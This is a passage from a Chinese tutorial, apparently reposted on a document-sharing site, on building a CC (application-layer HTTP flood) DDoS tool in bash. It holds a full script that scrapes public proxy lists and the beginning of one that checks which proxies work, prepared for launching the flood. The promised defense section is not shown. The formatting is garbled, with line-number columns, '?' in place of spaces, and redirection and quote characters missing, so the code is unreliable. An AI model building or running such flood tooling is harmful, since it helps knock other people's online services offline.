DDoS攻防战(二):CC攻击工具实现与防御理论 _118.doc
文本预览下载声明
我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。
第一步:获取大量可用代理ip:port列表
网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49 grab_proxy.sh
#!/bin/bash
?
#get proxy list
declare proxyListFile=proxy.txt
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
?
function quit() {
????rm -f $tmpFile
????exit $1
}
?
echo get proxy list... please wait...
?
if [ -r $proxyListFile ]
then
??rm -f $proxyListFile
fi
?
touch $proxyListFile
?
for url in?? /Daili/guonei/2215.html ???????????? /Daili/guonei/2215_2.html ???????????? /Daili/guonei/2215_3.html ???????????? /Daili/guonei/2215_4.html
do
????if GET $url $tmpFile
????then
????????grep -oE ^.*br /.*$ $tmpFile | grep -Eo ([0-9]+)(\.[0-9]+){3}:([0-9]+) ????????| sort -n | uniq | awk -F: { printf(%-15s??%s \n,$1,$2); } $proxyListFile
????else
????????exec 12
????????echo error: get proxy list fail! chech the url:$url or the network
????????quit 1
????fi
done
?
echo done. total `cat $proxyListFile | wc -l` proxy
?
quit 0
#exit 参数:
declare proxyListFile=”proxy.txt” ?#抓取到的代理ip port对所存放的文件路径
?
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66 check_proxy.sh
#!/bin/bash
?
#get proxy list
declare check_threads=10
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
?
function quit() {
????exit $1
}
?
#echo start check proxys functionality...
?
#retarget the input file to stdin
if [ $# -gt 0 ]
then
????exec 0$1
else
????exec 12
????echo usage: bash $0 proxyListFile.txt
????echo error: must have one input arg
????quit 1
fi
?
#check proxys functionality
times=0
while read line
显示全部